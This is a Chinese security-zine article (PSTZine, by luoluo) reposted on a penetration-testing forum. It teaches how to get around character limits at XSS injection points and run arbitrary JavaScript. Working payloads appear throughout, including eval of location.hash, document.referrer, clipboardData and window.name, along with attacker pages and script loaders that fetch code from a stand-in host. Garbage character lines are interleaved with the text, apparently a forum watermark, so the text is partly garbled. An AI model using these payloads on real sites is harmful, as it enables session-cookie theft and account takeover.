中国网络渗透测试联盟
标题:
[PSTZine 0x03][0x04][突破XSS字符数量限制执行任意JS代码]
[打印本页]
作者:
admin
时间:
2012-9-13 17:10
标题:
[PSTZine 0x03][0x04][突破XSS字符数量限制执行任意JS代码]
==Ph4nt0m Security Team==
, c# A& p6 M7 q/ B* x. o$ X
; F' A: M9 A: j# `/ J$ B0 ~& l
Issue 0x03, Phile #0x04 of 0x07
1 t. {+ ]/ v+ y+ @
p" l0 c; g8 H8 U! m
# M9 A9 U, L% e
|=---------------------------------------------------------------------------=|
0 y% E z; s- N5 A7 Z; ?+ d
|=-------------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-----------------=|
6 b, {; l5 O# ~
|=---------------------------------------------------------------------------=|
. ]" n' b* v: K7 j" U% L5 O
|=---------------------------------------------------------------------------=|
- Z$ d! d! `( u/ k1 C- f# ~) W
|=------------------------=[ By luoluo ]=---------------------------=|
( ^, G+ V) ?* y9 q9 i3 m
|=----------------------=[ <luoluo#ph4nt0m.org> ]=------------------------=|
0 x( T; Z0 D& l
|=----------------------=[ <luoluo#80sec.com> ]=------------------------=|
: i9 u& A+ M; F! v: A+ J# @
|=---------------------------------------------------------------------------=|
! J- _. |7 v; B$ N" U+ D
; r8 s4 R$ @$ H8 o# R
Q3 r: t- }7 R; Z5 Y% a
[目录]
( Z- a# m$ D, |# ^- f9 m: w- L; K
8 E! B0 C/ k' s' u, A
1. 综述
! v5 }# z- y5 U, m0 E
2. 突破方法
, p- j; D u5 t7 U0 ^% C( L- S) ~
2.1 利用HTML上下文中其他可以控制的数据
/ Z) |8 v4 n% {( I& ^
2.2 利用URL中的数据
, B: M$ f7 @: ]$ c) _# w% B, M4 e
2.3 JS上下文的利用
7 B& z- C2 k% o; c- V& `+ {
2.4 利用浏览器特性在跨域的页面之间传递数据
* z1 F4 }% T2 a
2.4.1 document.referrer
; \5 H0 @# G( q5 a
2.4.2 剪切板clipboardData
4 }9 o. ~% h8 l% o* T4 ]
2.4.3 窗口名window.name
9 Q0 M1 p7 V F+ f+ }4 W
2.5 以上的方式结合使用
( V& [5 k2 x% y9 r' \9 `/ \. E
3. 后记
; R; f5 ~) [) I* R
4. 参考
* p( C3 q2 ^: v
# B$ h6 O, A# b5 ]* R2 A- z5 L4 [5 Q
& s( U! A( [4 F5 k2 D- R8 ~
一、综述
' o j6 s1 ~) j5 D
, ~9 A& X. X" W4 a) [; W
有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主
! }1 I: v9 l* f, C
要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执
, \1 k( ]5 t! Z6 P) S' C& k
行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全
4 V/ p6 n6 G) b
人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些
3 c$ ~9 l9 w" B. c& E2 \4 d
极端情况下的XSS漏洞。
2 L$ U* D* K. v T' I9 U
, c7 S a- A! s
突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数
7 d& @4 C" ]' U8 b, M- J
据。
9 n2 {" b9 R$ l7 ^
6 k2 o; h$ z$ e5 H7 C6 f
: Y+ v0 |/ m9 ]# C
二、突破方法
. @3 _/ d; c# d& Y
' c7 ] P ^5 f- G/ N
2.1 利用HTML上下文中其他可以控制的数据
0 B, x& B2 ?" J7 R% v0 O
3 R8 D* |4 K/ w
如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数
% z8 I1 x$ h& ~1 W' b
据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限
" K. u2 [9 @) L: a, @$ Q7 a
制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:
6 e2 r+ |/ u9 f# T
- S. u* F% n3 p
--code-------------------------------------------------------------------------
" F" @4 G" G W; ^4 U. E# W. b2 E
<div id="x">可控的安全的数据</div>
1 O7 a/ {6 R: z; B/ Q9 F1 J& O
<limited_xss_point>alert(/xss/);</limited_xss_point>
1 f" C- m% K- u' k6 x) Q4 `% T
-------------------------------------------------------------------------------
0 m" K9 o1 v/ K; z8 S
9 o/ w2 ]" Q9 y# R$ a; c
由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape
- o6 }5 E8 v, n; f& O! |
编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
& k+ G4 i0 f2 x- t* J
( d: u4 b" Q" c) K$ Q
--code-------------------------------------------------------------------------
. O- o$ {7 u- A. G9 f; p
<div id="x">alert%28document.cookie%29%3B</div>
( p) P! v. _3 q! p9 ~
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
* W' L: t( _. j5 t1 f" j2 R! o
-------------------------------------------------------------------------------
, E) x( V5 Q) c# m2 ?
# x' {: v' a: t' K6 y3 P$ b9 O
长度:28 + len(id)
# V, \7 }; o O& G6 M9 ]$ z; t
/ h' G- h9 A8 k& F# h( K
由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。
( K+ A( o" w0 N8 y
5 b; X7 P5 J7 B" g
/ B( m4 j: b% n! s8 x/ U
2.2 利用URL中的数据
+ [) U9 K" O g1 o3 _6 \5 L! ]" o* b
& o" \+ o' m5 J! d9 ~0 b; y5 r
如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可
: F/ ~7 |5 y0 U$ p. l
控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过
* g+ |$ {* C8 W5 B) N
document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到
6 n& \7 D. s, Z8 ~1 j
最后:
8 [2 q0 S( w# j5 [9 s- d6 j
2 m9 P( N+ S7 ^1 s2 { {, m
--code-------------------------------------------------------------------------
" _" U5 m4 v& @+ b. q; C
http://www.xssedsite.com/xssed.php?x=1....&alert
(document.cookie)
8 Q0 i' A4 p* \! L* A
- l5 M2 j5 i$ ?) }' }$ R# |
<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
# f, |' g0 `# g7 F6 K& m
-------------------------------------------------------------------------------
( f5 Q% z! L4 a0 ~5 }. ^/ l& Z# V
& F3 ]+ n: K, d8 _
长度:30
8 L8 l& E$ X/ r
7 ~# f- N! ^& E* O4 D }: U( ]& F
--code-------------------------------------------------------------------------
$ d1 P4 T, A$ E! `" f C. t+ ]4 I( O
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
8 v6 R. S9 n' E
-------------------------------------------------------------------------------
# U% F; x; {! J
, T. F( e# h* J$ v! D+ C% C. q8 {/ D
长度:31
8 F% P- X* b7 C- ~+ k$ }# E1 u
2 T& b4 W' Y4 |( j$ O5 f5 Z _
上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册
' g& T% S* w1 C1 _6 I; V
的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个
% i7 |5 {, J9 W2 f- }# u$ U
字符:
% ^5 Q. o) F9 h5 s' x5 n
" ]/ l& Z% w* q" i8 B4 d% |* t
--code-------------------------------------------------------------------------
$ ^: g# S& F& ^3 R- \4 W$ }
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
" y) u# w1 l j+ C
-------------------------------------------------------------------------------
" Q- Q( X; U( P6 O( A5 [
2 u- H C+ {: Y; E6 J$ x
长度:29
8 `! q+ X4 M5 h! N6 j7 }
# S# @0 `! E0 a
--code-------------------------------------------------------------------------
5 b2 |& G' }! X
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
! f5 p8 p1 G* z9 n; |+ Q! Q. K' {: N
-------------------------------------------------------------------------------
. I8 T- o# t) F0 l
5 A1 x$ Z/ W" E. ^' o
长度:30
" g _% D/ Y/ @* M( ]
; ]3 V+ ~ g }8 q
那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现
+ O' ]" e, j- N1 p
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获
, |3 p+ i e/ P$ k' ?8 a: {
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:
( t* p0 p' V" W5 B, w# f7 `
! r9 P( f* O9 V0 z
--code-------------------------------------------------------------------------
6 Q+ H+ {% ^' B% `& [% z) A! V
http://www.xssedsite.com/xssed.php?x=1....#alert
(document.cookie)
. Z# M8 y9 q; Y* H* B) R! q( ]- N# p9 }
- N$ H Y; }. \# U+ ?/ E
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
( {9 U9 C P0 `) c( l! m$ T" z
-------------------------------------------------------------------------------
6 y1 A# `; i( c) g% F
* x# _5 {. {/ h" c
长度:29
# g3 F/ T; r* t+ g0 O7 I
) ]/ G: Z+ z" I: ^8 Q
这样比上面的例子又少了一个字符。那么还可以更短么?
3 S, I- ^6 B8 y9 A
7 ^( k# P( z0 i* H
# V% {$ O. D+ L
2.3 JS上下文的利用
, A% W4 C) K$ A% S" @' K) v
) o. o9 D7 L) `3 a `2 U. l. P
为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:
0 ? G) L1 T( v5 v
) {0 ]. w7 T: I9 _
String.fromCharCode
+ \& l/ ^# L2 `
getElementById
) {# |; k$ O+ f$ G: w3 z9 ?0 L
getElementsByTagName
, Z; H j5 u2 [
document.write
% g) @, _; Q" K X E: `
XMLHTTPRequest
; ]. ?0 l1 _6 Y L* B/ Q
...
p+ k1 c# |& `
. n: G# S) F1 x/ w. |! W7 b
就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的
, x t, z' g0 r4 l
简化函数,最经典的例子就是:
; \; |& c6 T- G+ l
( r) f ^5 D! U4 p
--code-------------------------------------------------------------------------
! J/ w- F" ~2 m
function $(id) {
; j! k4 h2 ]6 ?" l" r5 H
return document.getElementById(id);
: x* E/ K# b% @5 U( z1 ^
}
% O- i7 E# j* L6 T
-------------------------------------------------------------------------------
5 e0 [2 R3 j( v
0 l9 Q, v2 I3 |5 A/ X, F3 _
这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是
" m& e9 s; ?; |
最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:
) Q. n% l6 l/ f' X# u' L9 {3 T
) I9 g6 g H0 g" J2 D6 k
--code-------------------------------------------------------------------------
& z/ q$ d- x3 @$ C* P
function loads(url) {
# h/ i( J0 I# I2 v2 i9 s
...
1 g. s# }# u- O+ o! d) U
document.body.appendChild(script);
' m1 c' l4 j6 H0 f
}
: h/ `; R5 c+ {4 q# ?% {
# i) H1 o9 H% W/ D- D4 T7 L) U% R; Q, {
<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>
6 z7 ~% B1 {0 I( y) v
-------------------------------------------------------------------------------
1 I b `$ \- d( J- @2 d; W% `
0 q; r0 g; i/ M$ e9 k
长度:len(函数名) + len(url) + 5
% s ~8 V3 h0 N) R. y8 u
- m9 ]7 e8 ^, B l) z: p
当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
# |0 H6 B4 `0 C
I8 {( ^/ `* s. j! D) m$ M
--code-------------------------------------------------------------------------
8 ~( k! u3 Y; N: K9 X; x
function get(url) {
& j% k% |, T; e) {
...
& H" `6 x" ~1 V6 b- m
return x.responseText;
+ O2 F0 N% K+ {1 ?+ x0 a+ L
}
4 l/ g, P: {2 W
# |/ G8 f; _) w0 j7 Z* r4 x1 T
<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
% Y1 T) ^. B" u( ]% [
-------------------------------------------------------------------------------
2 E3 t3 w# k/ L7 R7 j
6 w1 T8 h, F& C" d
长度:len(函数名) + len(url) + 11
" u: y @, M+ f# r( n
/ ]. C1 t9 ? e: t
道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:
* ^# T7 J. h" p: W& G4 ^
, J* K$ W" c$ ]1 X. X
JQuery
0 R) q. ~- ~7 ]1 J( N- k
YUI
1 F# L J# q* ~+ n L! X0 ~# N7 G
...
! L: r: V8 Y# ]5 J! o, s
- Y' G9 p2 g! F/ ^0 T
综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我
4 l% q' B+ V0 D
们的代码,进而突破长度限制执行任意代码。
( O/ K: e: r f# m n8 E
5 i/ E- E; O1 L6 j4 P
' D# s4 J F0 ?: ?
2.4 利用浏览器特性在跨域的页面之间传递数据
9 I! {, N5 n& J; E
3 D( ], |! @9 W1 |" s- S1 w
虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的
+ e* q; @: g) A4 F' M( Z( p% t
方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。
& e% C6 B* t# O5 t
: c) ^. }9 Z& R& x" Y6 P6 Q
2.4.1 document.referrer
& I+ U' i7 L6 X, i" c
% Q" T3 [, E, q
攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了
" B7 m" e/ }' F4 q
Payload,被XSS的页面通过referrer获取相关代码执行。
4 a* P) ?' H3 f4 y' e3 |
* v( a0 i" y& b, \- E, Y% F' N
攻击者构造的的页面:
4 Y5 Q# |. Z- D7 E
) F8 o8 I! g% K% z% D
--code-------------------------------------------------------------------------
: }2 ]! K% ^5 {) q
http://www.a.com/attack.html?...&alert
(document.cookie)
0 M! X1 Q" f& ~4 a8 y
1 G5 o" K; X ~$ R
<a href="http://www.xssedsite.com/xssed.php">go</a>
) C* P5 D- V8 M: D
-------------------------------------------------------------------------------
1 @! L# `$ ` g& }. k, m
" ^2 W F; c& \
被XSS的页面:
* p; y& X/ }$ y8 e
5 t/ s1 n0 R& f8 J F
--code-------------------------------------------------------------------------
. X7 ?" X7 }, t- J% r
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
: h; t9 P; k3 M+ J6 |7 H9 E7 t
-------------------------------------------------------------------------------
) P M% w5 ]4 l+ r
! H6 [4 V, W/ P( t% O/ U2 ^! ~
长度:34
9 {: ]6 P6 ]5 }
S( z' S! O4 {- i1 Q# u1 S
这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh>
+ K ]+ c" L F6 P+ I! D
实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式
+ g" t9 E+ v9 j
比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:
+ \0 y! x4 N! `; u
0 h& j, m+ A7 s8 @8 ~
--code-------------------------------------------------------------------------
) Q3 w# o7 \# P# k
<script type="text/javascript">
3 v0 t y. k7 B9 T: j! P% H3 R
<!--
9 @) k/ C( F7 c7 O+ }$ V; _+ `0 k
window.onload = function(){
& O! ?/ d0 z* n: H
var f = document.createElement("form");
- `1 @/ A8 C9 R4 u) z! a
f.setAttribute("method", "get");
4 v+ x& d4 F9 `9 ?4 k
f.setAttribute("action", "http://www.xssedsite.com/xssed.php");
( ]/ g2 F: ]# n' O, l2 o% R/ C
document.body.appendChild(f);
. N1 _8 [3 k; c' O6 z
f.submit();
/ {# x* X7 a1 Q6 x+ ~+ E0 x
};
/ h9 \( h& A* F- I0 g; i
//-->
7 ~+ w" L* f" y# n) E
</script>
! ]' H- J( u, o2 K* P9 _
-------------------------------------------------------------------------------
7 Z y7 a4 S, V# n
9 m" s& L2 q" j6 o4 U1 y5 i6 |, Q! |
- b! I5 M( A3 E) @3 z
2.4.2 剪切板clipboardData
! Q/ Y6 G: T" j5 O8 G
0 a$ A }% W/ J$ a0 e4 |: p( _
攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获
& _' m6 Z" v8 q. T" I& l
取并执行该数据。
, N/ t- w4 w# O" O5 M/ e
( X+ ^3 D# t& P% }0 S
攻击者构造的页面:
$ L/ o9 y1 Z6 n" E+ s k! p
) ]$ z7 n( u4 V' v) i7 y% b
--code-------------------------------------------------------------------------
; E; @- |/ t5 f* v' V% [4 ?
<script>
0 }7 T- I7 ?' d7 f# u3 M) R# b
clipboardData.setData("text", "alert(document.cookie)");
7 k, [4 j( J5 {0 ~
</script>
! G6 p# d6 a. B/ k+ k7 B1 |. h a( D
-------------------------------------------------------------------------------
2 X1 X& U5 Z" k+ t
6 a. h+ B2 @- ?& W4 _% j
被XSS的页面:
, T$ Y: O: s) m* r* ~4 E
! n/ ^4 q) r( n0 h8 n$ m
--code-------------------------------------------------------------------------
0 K3 m9 P8 p% ?
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
1 `% p, \$ Y. r0 t. E
-------------------------------------------------------------------------------
3 N0 q7 y" a$ M4 z) { K
1 s, f- _* t6 Q/ ]2 R
长度:36
Y' K0 [! \1 ?7 |5 t
8 c C- |# ?: N! L
这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。
/ W+ S% m v) P1 H# x$ `
' B/ A+ ^- t5 l3 @
6 Q; h3 N; Z5 M# n* M
2.4.3 窗口名window.name
9 m$ a6 K" H; o# x8 R8 [1 D5 R
% X! a& U& j0 Y! _1 W4 x' f) ~8 Q
这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数
. _: y* P0 [+ q* j
据的,但是这个特性本身并不是漏洞。
5 R W" T; y2 Y6 _& d) r) l: r
, q7 \: ^- Q1 _% |. `# k" z" p5 C: t
如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置
) c' b4 ~! \: u6 K9 H4 w- k
窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当
5 z+ K. O: B8 `& G ?1 n
我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只
# O+ @1 e9 D& [' e) u
需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格
' X' u3 h- w, b t' d0 Y
的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS
' }* m E8 A5 o$ f
或者VBS。
S4 g5 n! J# R. y
: n- }- M. \+ m8 ^3 g) c. }
但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符
: S+ u. o. f! A7 V
限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:
G# R% T! Z6 C3 w8 a6 a' I1 `
8 K v8 l, C5 u) B' ? e7 _# J. k
攻击者构造的页面:
- K. J) f7 Q6 F' f, @& P
+ F' B' E0 e1 I3 H: U" t
--code-------------------------------------------------------------------------
0 a9 O; s7 \% Q' K, E' u1 ?) _* l
<script>
( }. m: u( K* r' W. m7 b
window.name = "alert(document.cookie)";
. n- n; ]% }. R- G7 L+ A
locaton.href = "http://www.xssedsite.com/xssed.php";
E. f' ~1 ^& X$ {$ R! \
</script>
+ w* v7 q7 o6 O5 V6 p6 z7 ?
-------------------------------------------------------------------------------
% n2 r2 f, r' O* s
% l/ {+ n8 B/ y4 E- @6 r
被XSS的页面:
/ D4 k- |& {% ]2 Y1 g0 j
2 J# W4 Y; U$ F: ^% z) I
--code-------------------------------------------------------------------------
) J( F: [; G0 ^& p: w' N
<limited_xss_point>eval(name);</limited_xss_point>
. B- n6 m; r2 o# f; T2 j
-------------------------------------------------------------------------------
^0 T; S; u$ P! ^' X: a3 ]
- W5 t/ u! L7 ?
长度:11
7 Q( B3 ~+ X9 k6 C2 P1 Z) r
6 D0 Y( t% R/ o% ` ^
这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思
+ K" F J: R9 L5 e6 t/ O7 e
的技巧,这个技巧的发现也是促成本文的直接原因。
. {! x' E0 t, D. n0 n- H- \( w
x4 G, @1 J' n. ^5 n
window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文
3 j9 J+ e3 @: d, ~) A( j- ]
章来探讨。
5 X O% x! Z3 F5 h$ A! T
, ~! {! p* M5 `& V6 D
I) F4 s2 C8 y# g8 j
2.5 以上的方式结合使用
+ H9 G! r$ V3 H* U/ T7 L8 D- d' y
% f% r( D, E: c8 o, _
以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况
9 T+ p H9 X& B8 M H2 \- H# }
中,灵活的组合上面的方法可能会起到奇效。
/ }4 r; E) j2 C0 D/ [* y' n
# \+ b# H, s3 R& f6 k3 ?" a
# U( M! _5 m, o2 E; T, m
三、后记
4 ^4 G A, `8 J2 l5 M3 c
, J# Z% ^( Q8 ~ W
JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的
# b/ M/ t$ F$ G8 }" z9 r
乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎
0 [# m8 i: E- c' U& U( M/ T4 k
和我交流!
. n( S3 ]6 m, j
7 E) y9 T& R1 }9 G' X* M% Q) ]3 Z1 o
感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!
" [, r! K' y' d9 H( W( ~& C
1 A- H* b. H# E; ^" X% h
本文是纯粹的技术探讨,请勿用于非法用途!
- h1 I. n4 k1 M) i
; M4 o p: z" N$ t- {( {2 {
0 b& f8 W' b9 U5 A
四、参考
" j" v5 {( ?( N% {: q
- q" }# ]$ q6 C5 ?6 I- L) k
http://msdn.microsoft.com/en-us/library/aa155073.aspx
- N1 j5 ^/ G3 P9 j% g8 [8 `
, L- b: _ t5 S, w# x
-EOF-
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2